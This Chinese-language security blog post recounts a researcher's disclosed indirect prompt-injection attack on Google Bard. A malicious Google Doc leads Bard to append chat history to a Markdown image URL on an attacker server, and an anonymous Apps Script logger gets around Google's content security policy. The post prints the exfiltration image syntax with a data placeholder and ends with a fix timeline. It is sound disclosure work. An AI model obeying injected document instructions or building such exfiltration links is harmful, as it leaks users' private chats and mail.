白帽故事 · 2023年12月4日 0

攻击Google Bard-从实时注入到数据外泄

背景介绍

最近,Google Bard 进行了一些强大的更新,包括扩展功能。扩展功能允许Bard访问YouTube,搜索航班和酒店,还可以访问用户的个人文档和电子邮件。

划重点:Bard 现在可以访问和分析你的驱动器,文档和Gmail!

这意味着它会分析不受信任的数据,并且容易受到间接实时注入的影响。

国外安全研究人员通过将 Bard 指向上传的一些较旧的YouTube视频并要求它进行摘要,从而快速验证了提示注入(Prompt Injection)的工作原理,研究人员还使用 Google Docs 进行了测试。

file

LLM应用程序中的一个常见漏洞是通过呈现超链接和图像泄露聊天历史记录,那么如何将漏洞用在Google Bard 上呢?

漏洞-图片Markdown注入

当Google的LLM返回文本时,它可以返回Markdown元素,Bard会将其呈现为HTML!甚至还包括了渲染图像功能。

假设LLM返回如下文本:

![Data Exfiltration in Progress](https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION])

这将呈现为 HTML 图像标签,其中 src 会指向攻击者服务器。

<img src="https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION]">

浏览器将自动连接到URL,而无需用户交互加载图像。

利用 LLM 的强大功能,我们可以总结或访问聊天上下文中的先前数据,并将其附加到 URL 中。

在编写漏洞利用程序时,研究人员开发了一个提示注入的Payload,它会读取对话的历史记录,并形成包含它的超链接。

然而,Google的内容安全策略(CSP)阻止了图像渲染。

CSP Bypass

要从攻击者控制的服务器渲染图像,存在一个障碍,谷歌有一项内容安全政策(CSP),禁止从任意位置加载图像。

file

CSP包含 .google.com 和 .googleusercontent.com 等位置,看起来相当宽泛。

经过一些研究,在了解到 Google Apps Script 后,研究人员认为这是是最有希望进行Bypass的。

Apps Scripts 类似于Office宏,它们可以通过URL调用并在 script.google.com (相应的 googleusercontent.com )域内运行!

file

编写 Bard 日志记录器

利用以上这些信息,Apps Script 中的“Bard 日志记录器”就可以被实现了。

日志记录器会将附加到调用 URL 的所有查询参数写入 Google 文档,该文档就是用于数据外泄的目的地。

file

有那么一瞬间,研究人员觉得不可能以匿名方式公开这样一个端点,但在点击了几下Apps Script 用户界面后,发现有一个设置可以让它无需身份验证。

OK,万事俱备:

  1. Google Bard 容易受到来自扩展程序的数据的间接提示注入攻击
  2. Google Bard中存在允许图像渲染(Zero Click)的漏洞
  3. 恶意Google 文档的提示注入指令可以利用该漏洞
  4. Google.com 上的日志记录端点,用于在加载图像时接收数据

能成功吗?

Show me the ShellCode

以下是包括用于执行提示注入和数据泄露Payload的Google文档:

file

漏洞利用LLM的功能来替换图像URL中的文本,研究人员还给出了几个例子来教会LLM在哪里正确地插入数据。

首先用户与Bard聊天,提供一些文本:

file

用户导航到 Google 文档 (The Bard2000),这会导致注入攻击者指令并渲染图像:

file

攻击者通过 Bard 日志记录器脚本将数据接收到 Google 文档中:

file

大功告成!

该漏洞利用链与之前的其它漏洞链(如Bing chat、ChatGPT或Claude)一样稍微复杂一些,因为必须找到 CSP Bypass。

漏洞时间线

  • 2023年9月19日报告漏洞
  • 确认漏洞并于2023年10月19日修复